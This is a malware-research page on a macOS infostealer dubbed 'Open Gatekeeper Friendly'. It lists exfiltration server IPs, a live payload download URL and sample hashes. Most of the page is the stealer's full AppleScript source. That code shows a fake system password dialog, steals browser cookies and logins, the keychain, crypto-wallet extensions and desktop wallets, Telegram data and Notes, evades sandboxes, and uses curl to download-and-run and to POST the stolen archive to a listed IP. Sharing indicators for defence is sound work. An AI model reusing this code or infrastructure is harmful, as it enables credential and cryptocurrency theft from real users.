"Open Gatekeeper Friendly" Malware Behavior and Samples

This page contains malware samples/code for research purposes, do not execute anything outside of a controlled environment!



Overview

See the main page for an overview of this macOS infostealer malware plus a list of known infected releases.

Exfiltration Servers

1
2
3
4
5
6
7
8
81.19.135.54
82.115.223.9
85.209.11.155
141.98.9.20
141.98.9.203
185.7.214.148
193.124.185.54
zblong.com

Remote Payload Servers

rgueapp.com

"Open Gatekeeper Friendly" binary scans on VirusTotal

4bab216dadd5b1431717f1a5147c29bcfea636044946a05fb675da78b8523632 [VirusTotal]
a6821d95007d2877cd66e0044d21d9052747b2a4e47edbd3b48cbb75d990d3ce [VirusTotal]
dd7dbbb66ff8453aff457e8ae74c9b0e1987c6106d2ad3f58435d7af5d49dc09 [VirusTotal]
3120e8bad3dec99d34ee0fdc0df76fe8c3da71544b38fa6bbb24a123374d3dea [VirusTotal]
d80b443ae39b4bc7e767f1f8ab4846dd65b874ac59ec483e3858b9c805473f54 [VirusTotal]
864d183968a47b01f099a3e6be956833ff720c0473bd46b61174401bea07dbbd [VirusTotal]
a4d29aa32fbec60fcdba47515c6d39dac9a6a880edd454dccf10006df2b3bca8 [VirusTotal]
736afa6e409219cf79910b5f5101a76da563453aee74f0d38371ee376546b85f [VirusTotal]
5d5f04445e80db9841c9e78bee1a81a89c71cba47e053853fdedf29fd66d8437 [VirusTotal]
1e39d447b073d4f95a6949d18bdc8580facaa28b0b7a2085adf0724899750905 [VirusTotal]
54c6600f76f291e4455716beacd6516866d005a38ce4ef966e3080aa03ea2d0f [VirusTotal]
15b8627fb6d34403056b8c30393a2b7e16c85546acd75aa52375818f47647b9c [VirusTotal]
6be9ef2aa180560b63588c0caf19ec36a35e05776396d835c6faca6624908c8f [VirusTotal]
a8e772f4e98fc7038de48c9a8ebf74b0d192c550503710a762f5aa68167402f8 [VirusTotal]
f2ca9f8e5f8b3a3b5ba6d6c7cef3e048e3638c0ba14c97787111be66f74d292f [VirusTotal]
841d76ddcb9460c32e0238aaab24100747375612733ac5634c8e03af56b4e990 [VirusTotal]
0f1317f82cd35ab6ec90065b4a6c071665ac3031827e6a3ccc3abe7606f430a6 [VirusTotal]
c0ad0f9cccd9db5a374f626cbef7ca169e20ecd53010823c7ce57fdd356f383d [VirusTotal]
7c5ccd13f9d7815defff28a1b9dffc89c823465a4e478f0e57cf5c6705f0095b [VirusTotal]
6e97b23d16aa4aa25d0cfaf9e40fae87e99e0ffe1153830195d08cff26311ce6 [VirusTotal]
ae74c18f5a03ff6645bdc264d45d2831120b9068c6be6e867da3d08cc319d5f0 [VirusTotal]
8169d6a6d8a02be8dcfcffcdfe5a93b7eb1191d8aac7146a53855dc8e5869913 [VirusTotal]
9b500839cfcdefff92257edb6e148d2d3860ab8453b5c8c0114ea0278bed5c96 [VirusTotal]

OGF "update" payload scans on VirusTotal

bef42ce20a0a8954137c36a930adb40d452179729ba546e5baf0414234d3421a [VirusTotal]
efd545c5195bf73e3c7e7e54068c622d3961d56cd177c44bcd5721ee131df08a [VirusTotal]
e751591cf46159bb61a7b9237ef93ec181f9609d06fc0dc0522016d6c60e9629 [VirusTotal]
f6d411e35f29097b4873b662574f29cc0157ad1523400b88e49e81ad5cdaf595 [VirusTotal]
ea6e7458e4e72cd006fae9c40e9edf06272e0ea41fcc2d4cbcf4a1720bc13775 [VirusTotal]
0c95b2b99789ca29f0b3ce3674ecfd7a3fdca36ff57060e7c7a0cb10f120bcac [VirusTotal]
7e5751ca3b8a9a0e747fcab8665a5c98a73bd20214fdf23c8914cc81f6877fc7 [VirusTotal]
2ce574b3c03b2562b4f2303b5e7a4f262868913d01957689f2fdf40a3ab352f1 [VirusTotal]

Shout out Elastic Security and ESET for initially being the only ones to detect the payload.

Samples

The following link contains malware samples for research purposes, do not execute anything outside of a controlled environment!

Payload samples can downloaded directly from the source here: https://rgueapp.com/ww/update

Malicious Command Examples

The following code is malicious and is for research purposes, do not execute anything outside of a controlled environment!

In an attempt to evade scans from various sandboxes, more recent payloads include the following command

1
2
3
4
5
6
7
8
sh -c osascript -e '
if (short user name of (system info)) is "maria" or
   (short user name of (system info)) is "run" or
   (short user name of (system info)) is "jackiemac" or
   (short user name of (system info)) is "bruno" then
   error number -1
end
'

One variant of the malware downloads a malicious payload from a remote server rather than the OGF binary containing the code itself

/bin/bash sh -c curl -o /tmp/update https://rgueapp.com/ww/update && xattr -c /tmp/update && chmod +x /tmp/update && /tmp/update

Hiding the Terminal window

tell application "Terminal" to set visible of the front window to false

Generating a random directory in the /tmp directory

set randomNumber to do shell script "echo $((RANDOM % 9000 + 1000))"
set writemind to "/tmp/" & randomNumber & "/"

Recursively grab files and directories

on GrabFolder(sourceFolder, destinationFolder)
    try
        set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews', 'dumps', 'emoji', 'user_data', '__update__', 'user_data#2', 'user_data#3'}
        set fileList to list folder sourceFolder without invisibles
        mkdir(destinationFolder)
        repeat with currentItem in fileList
            if currentItem is not in exceptionsList then
                set itemPath to sourceFolder & '/' & currentItem
                set savePath to destinationFolder & '/' & currentItem
                if isDirectory(itemPath) then
                    GrabFolder(itemPath, savePath)
                else
                    readwrite(itemPath, savePath)
                end if
            end if
        end repeat
    end try
end GrabFolder

Grab Chromium extension data

on grabPlugins(paths, savePath, pluginList, index)
    try
        set fileList to list folder paths without invisibles
        repeat with PFile in fileList
            repeat with Plugin in pluginList
                if (PFile contains Plugin) then
                    set newpath to paths & PFile
                    set newsavepath to savePath & '/' & Plugin
                    if index then
                        set newsavepath to newsavepath & '/IndexedDB/'
                    end if
                    GrabFolder(newpath, newsavepath)
                end if
            end repeat
        end repeat
    end try
end grabPlugins

on chromium(writemind, chromium_map)
    set pluginList to {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', ...} -- Plugin identifiers
    grabPlugins(chromium_map, writemind, pluginList, true)
end chromium

Grabbing FireFox data

on parseFF(firefox, writemind)
    try
        set myFiles to {'/cookies.sqlite', '/formhistory.sqlite', '/key4.db', '/logins.json'}
        set fileList to list folder firefox without invisibles
        repeat with currentItem in fileList
            set fpath to writemind & 'ff/' & currentItem
            set readpath to firefox & currentItem
            repeat with FFile in myFiles
                readwrite(readpath & FFile, fpath & FFile)
            end repeat
        end repeat
    end try
end parseFF

Check user/password

on checkvalid(username, password_entered)
    try
        set result to do shell script 'dscl . authonly ' & quoted form of username & space & quoted form of password_entered
        if result is not equal to '' then
            return false
        else
            return true
        end if
    on error
        return false
    end try
end checkvalid

The full osascript command can be seen below -- different binary builds may have slightly different formats of this

/bin/bash sh -c osascript -e 'set release to trueset filegrabbers to trueif release thentrytell window 1 of application 'Terminal' to set visible to falseend tryend ifon filesizer(paths)set fsz to 0tryset theItem to quoted form of POSIX path of pathsset fsz to (do shell script '/usr/bin/mdls -name kMDItemFSSize -raw ' & theItem)end tryreturn fszend filesizeron mkdir(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)do shell script 'mkdir -p ' & filePosixPathend tryend mkdiron FileName(filePath)tryset reversedPath to (reverse of every character of filePath) as stringset trimmedPath to text 1 thru ((offset of '/' in reversedPath) - 1) of reversedPathset finalPath to (reverse of every character of trimmedPath) as stringreturn finalPathend tryend FileNameon BeforeFileName(filePath)tryset lastSlash to offset of '/' in (reverse of every character of filePath) as stringset trimmedPath to text 1 thru -(lastSlash + 1) of filePathreturn trimmedPathend tryend BeforeFileNameon writeText(textToWrite, filePath)tryset folderPath to BeforeFileName(filePath)mkdir(folderPath)set fileRef to (open for access filePath with write permission)write textToWrite to fileRef starting at eofclose access fileRefend tryend writeTexton readwrite(path_to_file, path_as_save)tryset fileContent to read path_to_fileset folderPath to BeforeFileName(path_as_save)mkdir(folderPath)do shell script 'cat ' & quoted form of path_to_file & ' > ' & quoted form of path_as_saveend tryend readwriteon readwrite2(path_to_file, path_as_save)tryset folderPath to do shell script 'dirname ' & quoted form of path_as_savemkdir(folderPath)tell application 'Finder' set sourceFile to POSIX file path_to_file as alias set destinationFolder to POSIX file folderPath as alias duplicate sourceFile to destinationFolder with replacingend tellend tryend readwrite2on isDirectory(someItem)tryset filePosixPath to quoted form of (POSIX path of someItem)set fileType to (do shell script 'file -b ' & filePosixPath)if fileType ends with 'directory' thenreturn trueend ifreturn falseend tryend isDirectoryon GrabFolderLimit(sourceFolder, destinationFolder)tryset bankSize to 0set exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolderLimit(itemPath, savePath)elseset fsz to filesizer(itemPath)set bankSize to bankSize + fszif bankSize < 10 * 1024 * 1024 thenreadwrite(itemPath, savePath)end ifend ifend ifend repeatend tryend GrabFolderLimiton GrabFolder(sourceFolder, destinationFolder)tryset exceptionsList to {'.DS_Store', 'Partitions', 'Code Cache', 'Cache', 'market-history-cache.json', 'journals', 'Previews', 'dumps', 'emoji', 'user_data', '__update__', 'user_data#2', 'user_data#3'}set fileList to list folder sourceFolder without invisiblesmkdir(destinationFolder)repeat with currentItem in fileListif currentItem is not in exceptionsList thenset itemPath to sourceFolder & '/' & currentItemset savePath to destinationFolder & '/' & currentItemif isDirectory(itemPath) thenGrabFolder(itemPath, savePath)elsereadwrite(itemPath, savePath)end ifend ifend repeatend tryend GrabFolderon parseFF(firefox, writemind)tryset myFiles to {'/cookies.sqlite', '/formhistory.sqlite', '/key4.db', '/logins.json'}set fileList to list folder firefox without invisiblesrepeat with currentItem in fileListset fpath to writemind & 'ff/' & currentItemset readpath to firefox & currentItemrepeat with FFile in myFilesreadwrite(readpath & FFile, fpath & FFile)end repeatend repeatend tryend parseFFon checkvalid(username, password_entered)tryset result to do shell script 'dscl . authonly ' & quoted form of username & space & quoted form of password_enteredif result is not equal to '' thenreturn falseelsereturn trueend ifon errorreturn falseend tryend checkvalidon getpwd(username, writemind)tryif checkvalid(username, '') thenset result to do shell script 'security 2>&1 > /dev/null find-generic-password -ga \'Chrome\' | awk \'{print $2}\''writeText(result as string, writemind & 'masterpass-chrome')elserepeatset result to display dialog 'Required Application Helper.\nPlease enter password for continue.' default answer '' with icon caution buttons {'Continue'} default button 'Continue' giving up after 150 with title 'System Preferences' with hidden answerset password_entered to text returned of resultif checkvalid(username, password_entered) thenwriteText(password_entered, writemind & 'pwd')return password_enteredend ifend repeatend ifend tryreturn ''end getpwdon grabPlugins(paths, savePath, pluginList, index)tryset fileList to list folder paths without invisiblesrepeat with PFile in fileListrepeat with Plugin in pluginListif (PFile contains Plugin) thenset newpath to paths & PFileset newsavepath to savePath & '/' & Pluginif index thenset newsavepath to newsavepath & '/IndexedDB/'end ifGrabFolder(newpath, newsavepath)end ifend repeatend repeatend tryend grabPluginson chromium(writemind, chromium_map)set pluginList to {'keenhcnmdmjjhincpilijphpiohdppno', 'hbbgbephgojikajhfbomhlmmollphcad', 'cjmkndjhnagcfbpiemnkdpomccnjblmj', 'dhgnlgphgchebgoemcjekedjjbifijid', 'hifafgmccdpekplomjjkcfgodnhcellj', 'kamfleanhcmjelnhaeljonilnmjpkcjc', 'jnldfbidonfeldmalbflbmlebbipcnle', 'fdcnegogpncmfejlfnffnofpngdiejii', 'klnaejjgbibmhlephnhpmaofohgkpgkd', 'pdadjkfkgcafgbceimcpbkalnfnepbnk', 'kjjebdkfeagdoogagbhepmbimaphnfln', 'ldinpeekobnhjjdofggfgjlcehhmanlj', 'dkdedlpgdmmkkfjabffeganieamfklkm', 'bcopgchhojmggmffilplmbdicgaihlkp', 'kpfchfdkjhcoekhdldggegebfakaaiog', 'idnnbdplmphpflfnlkomgpfbpcgelopg', 'mlhakagmgkmonhdonhkpjeebfphligng', 'bipdhagncpgaccgdbddmbpcabgjikfkn', 'gcbjmdjijjpffkpbgdkaojpmaninaion', 'nhnkbkgjikgcigadomkphalanndcapjk', 'bhhhlbepdkbapadjdnnojkbgioiodbic', 'hoighigmnhgkkdaenafgnefkcmipfjon', 'klghhnkeealcohjjanjjdaeeggmfmlpl', 'nkbihfbeogaeaoehlefnkodbefgpgknn', 'fhbohimaelbohpjbbldcngcnapndodjp', 'ebfidpplhabeedpnhjnobghokpiioolj', 'emeeapjkbcbpbpgaagfchmcgglmebnen', 'fldfpgipfncgndfolcbkdeeknbbbnhcc', 'penjlddjkjgpnkllboccdgccekpkcbin', 'fhilaheimglignddkjgofkcbgekhenbh', 'hmeobnfnfcmdkdcmlblgagmfpfboieaf', 'cihmoadaighcejopammfbmddcmdekcje', 'lodccjjbdhfakaekdiahmedfbieldgik', 'omaabbefbmiijedngplfjmnooppbclkk', 'cjelfplplebdjjenllpjcblmjkfcffne', 'jnlgamecbpmbajjfhmmmlhejkemejdma', 'fpkhgmpbidmiogeglndfbkegfdlnajnf', 'bifidjkcdpgfnlbcjpdkdcnbiooooblg', 'amkmjjmmflddogmhpjloimipbofnfjih', 'flpiciilemghbmfalicajoolhkkenfel', 'hcflpincpppdclinealmandijcmnkbgn', 'aeachknmefphepccionboohckonoeemg', 'nlobpakggmbcgdbpjpnagmdbdhdhgphk', 'momakdpclmaphlamgjcndbgfckjfpemp', 'mnfifefkajgofkcjkemidiaecocnkjeh', 'fnnegphlobjdpkhecapkijjdkgcjhkib', 'ehjiblpccbknkgimiflboggcffmpphhp', 'ilhaljfiglknggcoegeknjghdgampffk', 'pgiaagfkgcbnmiiolekcfmljdagdhlcm', 'fnjhmkhhmkbjkkabndcnnogagogbneec', 'bfnaelmomeimhlpmgjnjophhpkkoljpa', 'imlcamfeniaidioeflifonfjeeppblda', 'mdjmfdffdcmnoblignmgpommbefadffd', 'ooiepdgjjnhcmlaobfinbomgebfgablh', 'pcndjhkinnkaohffealmlmhaepkpmgkb', 'ppdadbejkmjnefldpcdjhnkpbjkikoip', 'cgeeodpfagjceefieflmdfphplkenlfk', 'dlcobpjiigpikoobohmabehhmhfoodbb', 'jiidiaalihmmhddjgbnbgdfflelocpak', 'bocpokimicclpaiekenaeelehdjllofo', 'pocmplpaccanhmnllbbkpgfliimjljgo', 'cphhlgmgameodnhkjdmkpanlelnlohao', 'mcohilncbfahbmgdjkbpemcciiolgcge', 'bopcbmipnjdcdfflfgjdgdjejmgpoaab', 'khpkpbbcccdmmclmpigdgddabeilkdpd', 'ejjladinnckdgjemekebdpeokbikhfci', 'phkbamefinggmakgklpkljjmgibohnba', 'epapihdplajcdnnkdeiahlgigofloibg', 'hpclkefagolihohboafpheddmmgdffjm', 'cjookpbkjnpkmknedggeecikaponcalb', 'cpmkedoipcpimgecpmgpldfpohjplkpp', 'modjfdjcodmehnpccdjngmdfajggaoeh', 'ibnejdfjmmkpcnlpebklmnkoeoihofec', 'afbcbjpbpfadlkmhmclhkeeodmamcflc', 'kncchdigobghenbbaddojjnnaogfppfj', 'efbglgofoippbgcjepnhiblaibcnclgk', 'mcbigmjiafegjnnogedioegffbooigli', 'fccgmnglbhajioalokbcidhcaikhlcpm', 'hnhobjmcibchnmglfbldbfabcgaknlkj', 'apnehcjmnengpnmccpaibjmhhoadaico', 'enabgbdfcbaehmbigakijjabdpdnimlg', 'mgffkfbidihjpoaomajlbgchddlicgpn', 'fopmedgnkfpebgllppeddmmochcookhc', 'jojhfeoedkpkglbfimdfabpdfjaoolaf', 'ammjlinfekkoockogfhdkgcohjlbhmff', 'abkahkcbhngaebpcgfmhkoioedceoigp', 'dcbjpgbkjoomeenajdabiicabjljlnfp', 'gkeelndblnomfmjnophbhfhcjbcnemka', 'pnndplcbkakcplkjnolgbkdgjikjednm', 'copjnifcecdedocejpaapepagaodgpbh', 'hgbeiipamcgbdjhfflifkgehomnmglgk', 'mkchoaaiifodcflmbaphdgeidocajadp', 'ellkdbaphhldpeajbepobaecooaoafpg', 'mdnaglckomeedfbogeajfajofmfgpoae', 'nknhiehlklippafakaeklbeglecifhad', 'ckklhkaabbmdjkahiaaplikpdddkenic', 'fmblappgoiilbgafhjklehhfifbdocee', 'nphplpgoakhhjchkkhmiggakijnkhfnd', 'cnmamaachppnkjgnildpdmkaakejnhae', 'fijngjgcjhjmmpcmkeiomlglpeiijkld', 'niiaamnmgebpeejeemoifgdndgeaekhe', 'odpnjmimokcmjgojhnhfcnalnegdjmdn', 'lbjapbcmmceacocpimbpbidpgmlmoaao', 'hnfanknocfeofbddgcijnmhnfnkdnaad', 'hpglfhgfnhbgpjdenjgmdgoeiappafln', 'egjidjbpglichdcondbcbdnbeeppgdph', 'ibljocddagjghmlpgihahamcghfggcjc', 'gkodhkbmiflnmkipcmlhhgadebbeijhh', 'dbgnhckhnppddckangcjbkjnlddbjkna', 'mfhbebgoclkghebffdldpobeajmbecfk', 'nlbmnnijcnlegkjjpcfjclmcfggfefdm', 'nlgbhdfgdhgbiamfdfmbikcdghidoadd', 'acmacodkjbdgmoleebolmdjonilkdbch', 'agoakfejjabomempkjlepdflaleeobhb', 'dgiehkgfknklegdhekgeabnhgfjhbajd', 'onhogfjeacnfoofkfgppdlbmlmnplgbn', 'kkpehldckknjffeakihjajcjccmcjflh', 'jaooiolkmfcmloonphpiiogkfckgciom', 'ojggmchlghnjlapmfbnjholfjkiidbch', 'pmmnimefaichbcnbndcfpaagbepnjaig', 'oiohdnannmknmdlddkdejbmplhbdcbee', 'aiifbnbfobpmeekipheeijimdpnlpgpp', 'aholpfdialjgjfhomihkjbmgjidlcdno', 'anokgmphncpekkhclmingpimjmcooifb', 'kkpllkodjeloidieedojogacfhpaihoh', 'iokeahhehimjnekafflcihljlcjccdbe', 'ifckdpamphokdglkkdomedpdegcjhjdp', 'loinekcabhlmhjjbocijdoimmejangoa', 'fcfcfllfndlomdhbehjjcoimbgofdncg', 'ifclboecfhkjbpmhgehodcjpciihhmif', 'dmkamcknogkgcdfhhbddcghachkejeap', 'ookjlbkiijinhpmnjffcofjonbfbgaoc', 'oafedfoadhdjjcipmcbecikgokpaphjk', 'mapbhaebnddapnmifbbkgeedkeplgjmf', 'cmndjbecilbocjfkibfbifhngkdmjgog', 'kpfopkelmapcoipemfendmdcghnegimn', 'lgmpcpglpngdoalbgeoldeajfclnhafa', 'ppbibelpcjmhbdihakflkdcoccbgbkpo', 'ffnbelfdoeiohenkjibnmadjiehjhajb', 'opcgpfmipidbgpenhmajoajpbobppdil', 'lakggbcodlaclcbbbepmkpdhbcomcgkd', 'kgdijkcfiglijhaglibaidbipiejjfdp', 'hdkobeeifhdplocklknbnejdelgagbao', 'lnnnmfcpbkafcpgdilckhmhbkkbpkmid', 'nbdhibgjnjpnkajaghbffjbkcgljfgdi', 'kmhcihpebfmpgmihbkipmjlmmioameka', 'kmphdnilpmdejikjdnlbcnmnabepfgkh', 'nngceckbapebfimnlniiiahkandclblb'}set chromiumFiles to {'/Network/Cookies', '/Cookies', '/Web Data', '/Login Data', '/Local Extension Settings/', '/IndexedDB/'}repeat with chromium in chromium_mapset savePath to writemind & 'Chromium/' & item 1 of chromium & '_'tryset fileList to list folder item 2 of chromium without invisiblesrepeat with currentItem in fileListif ((currentItem as string) is equal to 'Default') or ((currentItem as string) contains 'Profile') thenrepeat with CFile in chromiumFilesset readpath to (item 2 of chromium & currentItem & CFile)if ((CFile as string) is equal to '/Network/Cookies') thenset CFile to '/Cookies'end ifif ((CFile as string) is equal to '/Local Extension Settings/') thengrabPlugins(readpath, savePath & currentItem, pluginList, false)else if (CFile as string) is equal to '/IndexedDB/' thengrabPlugins(readpath, savePath & currentItem, pluginList, true)elseset writepath to savePath & currentItem & CFilereadwrite(readpath, writepath)end ifend repeatend ifend repeatend tryend repeatend chromiumon telegram(writemind, library)tryGrabFolder(library & 'Telegram Desktop/tdata/', writemind & 'Telegram Data/')end tryend telegramon deskwallets(writemind, deskwals)repeat with deskwal in deskwalstryGrabFolder(item 2 of deskwal, writemind & item 1 of deskwal)end tryend repeatend deskwalletson filegrabber(writemind)tryset destinationFolderPath to POSIX file (writemind & 'FileGrabber/')mkdir(destinationFolderPath)set photosPath to POSIX file (writemind & 'FileGrabber/NotesFiles/')mkdir(photosPath)set extensionsList to {'txt', 'pdf', 'docx', 'wallet', 'key', 'keys', 'doc'}set bankSize to 0tell application 'Finder'tryset safariFolderPath to (path to home folder as text) & 'Library:Cookies:'duplicate file (safariFolderPath & 'Cookies.binarycookies') to folder destinationFolderPath with replacingset name of result to 'saf1'end trytryset safariFolder to ((path to library folder from user domain as text) & 'Containers:com.apple.Safari:Data:Library:Cookies:')tryduplicate file 'Cookies.binarycookies' of folder safariFolder to folder destinationFolderPath with replacingend tryset notesFolderPath to (path to home folder as text) & 'Library:Group Containers:group.com.apple.notes:'set notesAccounts to folder (notesFolderPath & 'Accounts:LocalAccount:Media')duplicate notesAccounts to photosPath with replacingduplicate notesAccounts to POSIX file photosPath as alias with replacingset notesFolder to folder notesFolderPathset notesFiles to {'NoteStore.sqlite', 'NoteStore.sqlite-shm', 'NoteStore.sqlite-wal'}repeat with fileName in notesFilesset sourceFile to file fileName of notesFolderduplicate sourceFile to POSIX file destinationFolderPath as alias with replacingend repeatend trytryset desktopFiles to every file of desktopset documentsFiles to every file of folder 'Documents' of (path to home folder)set downloadsFiles to every file of folder 'Downloads' of (path to home folder)repeat with aFile in (desktopFiles & documentsFiles & downloadsFiles)set fileExtension to name extension of aFileif fileExtension is in extensionsList thenset filesize to size of aFileif filesize < 3 * 1024 * 1024 thenif (bankSize + filesize) < 30 * 1024 * 1024 thentryduplicate aFile to folder destinationFolderPath with replacingset bankSize to bankSize + filesizeend tryelseexit repeatend ifend ifend ifend repeatend tryend tellend tryend filegrabberon send_data(attempt) try set result_send to (do shell script 'curl -X POST -H \'user: jI563QPXBRgxmhcQ1YV1wFyYmwEgAvWbwyq2s7T89gw=\' -H \'BuildID: PlTF9QdM8LO0ytq-Z8pzcKyEo-Ry2nSmB0VhDY0iOek=\' -H \'cl: 0\' -H \'cn: 0\' --max-time 300 -retry 5 -retry-delay 10 -F \'file=@/tmp/out.zip\' http://82.115.223.9/contact') on error if attempt < 40 then delay 3 send_data(attempt + 1) end if end tryend send_dataset username to (system attribute 'USER')set profile to '/Users/' & usernameset randomNumber to do shell script 'echo $((RANDOM % 9000 + 1000))'set writemind to '/tmp/' & randomNumber & '/'tryset result to (do shell script 'system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType')writeText(result, writemind & 'info')end tryset library to profile & '/Library/Application Support/'set password_entered to getpwd(username, writemind)delay 0.01set chromiumMap to {{'Chrome', library & 'Google/Chrome/'}, {'Brave', library & 'BraveSoftware/Brave-Browser/'}, {'Edge', library & 'Microsoft Edge/'}, {'Vivaldi', library & 'Vivaldi/'}, {'Opera', library & 'com.operasoftware.Opera/'}, {'OperaGX', library & 'com.operasoftware.OperaGX/'}, {'Chrome Beta', library & 'Google/Chrome Beta/'}, {'Chrome Canary', library & 'Google/Chrome Canary'}, {'Chromium', library & 'Chromium/'}, {'Chrome Dev', library & 'Google/Chrome Dev/'}, {'Arc', library & 'Arc/'}, {'Coccoc', library & 'Coccoc/'}}set walletMap to {{'deskwallets/Electrum', profile & '/.electrum/wallets/'}, {'deskwallets/Coinomi', library & 'Coinomi/wallets/'}, {'deskwallets/Exodus', library & 'Exodus/'}, {'deskwallets/Atomic', library & 'atomic/Local Storage/leveldb/'}, {'deskwallets/Wasabi', profile & '/.walletwasabi/client/Wallets/'}, {'deskwallets/Ledger_Live', library & 'Ledger Live/'}, {'deskwallets/Monero', profile & '/Monero/wallets/'}, {'deskwallets/Bitcoin_Core', library & 'Bitcoin/wallets/'}, {'deskwallets/Litecoin_Core', library & 'Litecoin/wallets/'}, {'deskwallets/Dash_Core', library & 'DashCore/wallets/'}, {'deskwallets/Electrum_LTC', profile & '/.electrum-ltc/wallets/'}, {'deskwallets/Electron_Cash', profile & '/.electron-cash/wallets/'}, {'deskwallets/Guarda', library & 'Guarda/'}, {'deskwallets/Dogecoin_Core', library & 'Dogecoin/wallets/'}, {'deskwallets/Trezor_Suite', library & '@trezor/suite-desktop/'}}readwrite(library & 'Binance/app-store.json', writemind & 'deskwallets/Binance/app-store.json')readwrite(library & '@tonkeeper/desktop/config.json', 'deskwallets/TonKeeper/config.json')readwrite(profile & '/Library/Keychains/login.keychain-db', writemind & 'keychain')if release thenreadwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite', writemind & 'FileGrabber/NoteStore.sqlite')readwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal', writemind & 'FileGrabber/NoteStore.sqlite-wal')readwrite2(profile & '/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm', writemind & 'FileGrabber/NoteStore.sqlite-shm')readwrite2(profile & '/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/Cookies.binarycookies')readwrite(profile & '/Library/Cookies/Cookies.binarycookies', writemind & 'FileGrabber/saf1')end ifif filegrabbers thenfilegrabber(writemind)end ifwriteText(username, writemind & 'username')set ff_paths to {library & 'Firefox/Profiles/', library & 'Waterfox/Profiles/', library & 'Pale Moon/Profiles/'}repeat with firefox in ff_pathstryparseFF(firefox, writemind)end tryend repeatchromium(writemind, chromiumMap)deskwallets(writemind, walletMap)telegram(writemind, library)do shell script 'ditto -c -k --sequesterRsrc ' & writemind & ' /tmp/out.zip'send_data(0)do shell script 'rm -r ' & writeminddo shell script 'rm /tmp/out.zip'

Edit
Pub: 29 Jan 2025 19:55 UTC
Edit: 17 Feb 2025 23:23 UTC
Views: 273